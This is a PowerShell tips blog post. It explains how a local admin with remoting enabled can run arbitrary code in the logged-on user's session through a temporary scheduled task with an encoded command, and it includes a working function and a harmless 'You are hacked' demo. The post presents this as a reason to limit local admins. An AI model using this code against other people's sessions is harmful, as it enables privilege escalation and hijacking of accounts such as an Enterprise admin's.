Running PowerShell Code as Someone Else

by Sep 28, 2018

Local admin privileges are extremely powerful, and you should use techniques such as JEA to minimize the number of local Admins as much as you can. Why? Take a look at the example below. If you have local Admin privileges on a machine, and PowerShell remoting is active, then you can send arbitrary PowerShell code to that machine, and have it execute in the context of the user that is logged on to that machine.

If an Enterprise admin happens to sit on that machine, you as a local admin could send over a line of PowerShell code that makes yourself Enterprise admin as well.

Before you play with this: use it wisely. This sample illustrates the technical capabilities of scheduled tasks and local Admin privileges. None of this is related to PowerShell or PowerShell remoting. We are simply using PowerShell as a vehicle.

You could do the very same without PowerShell and without PowerShell remoting, just by using a plain cmd and – for example – tools like psexec.

function Invoke-PowerShellAsInteractiveUser 
{
    param(
        [Parameter(Mandatory)]
        [ScriptBlock]
        $ScriptCode,
    
        [Parameter(Mandatory)]
        [String[]]
        $Computername
    )

    # this runs on the target computer
    $code = { 
      
        param($ScriptCode)

        # turn PowerShell code into base64 stream
        $bytes = [System.Text.Encoding]::Unicode.GetBytes($ScriptCode)
        $encodedCommand = [Convert]::ToBase64String($bytes)
        
        # find out who is physically logged on
        $os = Get-WmiObject -Class Win32_ComputerSystem
        $username = $os.UserName

        # define a scheduled task in the interactive user context
        # with highest privileges
        $xml = @"  
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo />
  <Triggers />
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings />
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-windowstyle minimized -encodedCommand $EncodedCommand</Arguments>
    </Exec>
  </Actions>
  <Principals>
    <Principal id="Author">
      <UserId>$username</UserId>
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
</Task>
"@
      
        # define, run, then delete the scheduled job          
        $jobname = 'remotejob' + (Get-Random)
        $xml | Out-File -FilePath "$env:temp\tj1.xml"
        $null = schtasks.exe /CREATE /TN $jobname /XML $env:temp\tj1.xml 
        Start-Sleep -Seconds 1
        $null = schtasks.exe /RUN /TN $jobname 
        $null = schtasks.exe /DELETE /TN $jobname  /F 
    }
    
    # run the code on the target machine, and submit the PowerShell code to execute
    Invoke-Command -ScriptBlock $code -ComputerName $computername -ArgumentList $ScriptCode
}

To send your pirate code to another machine, and i.e. open visibly a browser page, or “talk” to the user via text-to-speech, use this:

$ComputerName = 'ENTER THE COMPUTER NAME'

$pirateCode = {
    Start-Process -FilePath www.microsoft.com
    
    $sapi = New-Object -ComObject Sapi.SpVoice
    $sapi.Speak("You are hacked...!")
    Start-Sleep -Seconds 6
}

Invoke-PowerShellAsInteractiveUser -ScriptCode $pirateCode -Computername $ComputerName

Obviously, adjust the $ComputerName to match a system where you indeed have local admin privileges, and where PowerShell remoting is enabled. Also, the code requires that a user is physically logged on. If no user is physically logged on, there is no user session to break into, and the code will fail.

Twitter This Tip! ReTweet this Tip!